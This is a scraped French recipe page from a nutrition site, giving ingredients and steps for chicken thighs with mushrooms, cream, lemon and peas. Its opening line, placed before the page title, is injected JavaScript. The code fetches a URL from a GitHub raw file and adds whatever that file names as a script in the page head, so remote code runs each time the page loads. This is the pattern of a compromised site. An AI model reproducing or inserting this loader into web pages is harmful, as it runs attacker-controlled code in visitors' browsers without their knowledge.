;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Haut de cuisse de poulet, champignons, crème et citron – Haute Nutrition
Facebook Pinterest Instagram Spotify Youtube
appel exploratoire
Approuvé par coach Sylvia / Hormones Rebelles / index de recettes / Protocole IF / recettes / Repas principal

Haut de cuisse de poulet, champignons, crème et citron

janvier 11, 2019

Haut de cuisse de poulet, champignons, petits pois et citron

Print Recipe Pin Recipe
Prep Time 10 mins
Cook Time 15 mins
Total Time 25 mins
Course Main Course
Servings 4 portions

Ingredients
  

  • 1 1/2 livre haut de cuisse de poulet
  • 1 1/2 livre champignons
  • 1/4 tasse crème 35%
  • 1 c. à soupe zeste de citron
  • 3/4 tasse petits pois congelés
  • 1 c. à soupe huile d'olive
  • 3 c. à soupe menthe Basilic frais
  • 1/4 tasse bouillon de poulet

Instructions
 

  • Pré-chauffer le four à 375F
  • Couper les hauts de cuisse de poulet en 4 morceaux
  • Faire revenir l'huile d'olive ou l'huile d'avocat dans une poêle de fonte ou une poêle qui va au four
  • Ajouter les champignons et faire cuire 3-4 minutes
    Ensuite ajouter le poulet et faire brunir des 2 côtés 4-5 minutes
  • Ajouter bouillon de poulet et crème et mettre au four 
  • Vérifier la cuisson avec un thermomètre, le poulet doit atteindre 165F
  • Ensuite ajouter le citron, les petits pois et la menthe fraîche si vous aimez

Leave a Comment

You May Also Like

Rouleau de Printemps

mai 30, 2017

Saumon laqué à l’érable, recette de saumon santé

juin 5, 2017

Dormir Enfin !!! Avec l’aide du soleil.

août 14, 2018
chocolat smoothie bowl with strawberries

recevez gratuitement

Abonnez-vous pour recevoir mes derniers trucs, conseils et recettes.

Pour une santé optimal

@hautenutrition

Copyright © 2022 Haute Nutrition tous droits réservés. Site Powered by Pix & Hue.